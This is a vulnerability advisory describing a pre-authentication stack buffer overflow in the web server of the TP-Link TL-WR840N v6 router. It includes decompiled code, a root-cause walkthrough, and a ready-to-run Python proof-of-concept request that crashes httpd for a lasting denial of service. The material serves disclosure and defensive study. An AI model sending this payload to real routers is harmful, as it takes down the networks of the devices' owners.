Summary
A vulnerability in TP-Link’s TL-WR840N allows remote attackers to trigger a stack overflow vulnerability allowing remote attackers to cause a denial of service in httpd.
Credit
An independent security researcher, @delsploit, working with SSD Secure Disclosure.
Affected Devices
- Device name: TL-WR840Nv6
- Firmware version: 0.9.1_4.1.19
Vendor Response
The vendor has released a new firmware (TL-WR840N(KR)_V6.2_230702) available at: https://www.tp-link.com/kr/support/download/tl-wr840n/#Firmware
The vendor has stated that they have no plans to release an advisory or CVE for this vulnerability.
Technical Analysis
The TL-WR840N has some accessible paths which are pre-auth. The /cgi path is one of them.
int http_cgi_init()
{
return http_alias_addEntryByArg(2u, "/cgi", 0, http_cgi_main, g_http_author_default);
}
The httpd server uses http_cgi_init to register a handler function for /cgi. http_cgi_main.
int __fastcall http_cgi_main(unknown_structure *a1)
{
/* skip */
if ( !checkOidAuth(DescStr, cgi_param) ) // return 1 => pre-auth
{
cdbg_printf(8, "http_cgi_main", 819, "checkOidAuth(oid %s) is FALSE \n", DescStr);
goto LABEL_93;
}
switch ( cgi_param )
{
case 1u:
v6 = rdp_getObj(1, DescStr, v45, data); // vulnerable path
if ( v6 > 0 )
goto EXIT;
if ( sub_40B0B0(client_type, actIndex++, (unsigned __int16 *)v45 + 1, data) )
goto LABEL_93;
goto LABEL_85;
/* skip */
}
The rdp_getObj is a path reachable to pre-auth that access the vulnerable function (dm_fillStrByObj).
int __fastcall rdp_getObj(int a1, int a2, int a3, int a4)
{
/* skip */
{
_v0_5 = dm_fillStrByObj(a1, _s3_3, a3, (t_obj *)var4400, 0xF9Fu, (const char *)a4); // vulnerable function
_s2_5 = _v0_5;
if ( _v0_5 )
{
cdbg_perror("rdp_getObj", 310, _v0_5);
_s0_1 = _s2_5;
}
dm_unLock();
}
/* skip */
}
The dm_fillStrByObj function is vulnerable to stack buffer overflow.
unsigned int __fastcall dm_fillStrByObj(int a1, unsigned __int16 oid, int a3, t_obj *a4, unsigned int data_size, const char *data)
{
/* skip */
obj = dm_getObjNode(oid);
if ( !obj )
{
cdbg_printf(8, "dm_fillStrByObj", 2091, "Get object information failed. object oid = %u\n", v7);
return 9804;
}
memset(index_list, 0, 70);
v11 = strlen(data);
if ( v11 )
{
v15 = (_BYTE *)strchr(data, '\n');
v16 = (char *)data;
param_idx = 0;
while ( v15 )
{
*v15 = 0;
v17 = (_BYTE *)strchr(v16, '=');
if ( v17 )
*v17 = 0;
index = find_objParam_index(obj, v16); // [1]
if ( index == -1 )
{
v51 = v16;
v52 = *(const char **)(obj + 8);
v19 = 351;
goto FAILED_INDEX;
}
v11 += ~(v15 - v16);
index_list[param_idx] = index; // [2]
param_idx = (unsigned __int16)(param_idx + 1);
if ( !v11 )
goto LABEL_24;
v16 = v15 + 1;
v15 = (_BYTE *)strchr(v15 + 1, '\n');
}
/* skip */
}
The 6th argument (data) is provided by the remote user as part of the input he gives in the URL.
It is converted to index after calling find_objParam_index at [1].
It is then saved into index_list[param_idx] at [2].
But there is no limitation on value used in param_id, it can be increased indefinitely. This results in an OOB bug.
Because index_list is a local variable, it leads stack buffer overflow.
Due to the way the software was designed if you crash httpd, and httpd does not respawn.
Proof of Concept
import requests
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "text/plain",
"Content-Length": "78",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/"
}
payload = "\nModelName"*0x100
formdata = f"[IGD_DEV_INFO#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\ndescription\nModelName{payload}\r\n"
url = "http://192.168.0.1/cgi?1"
response = requests.post(url, data=formdata, headers=headers)
print(response.text)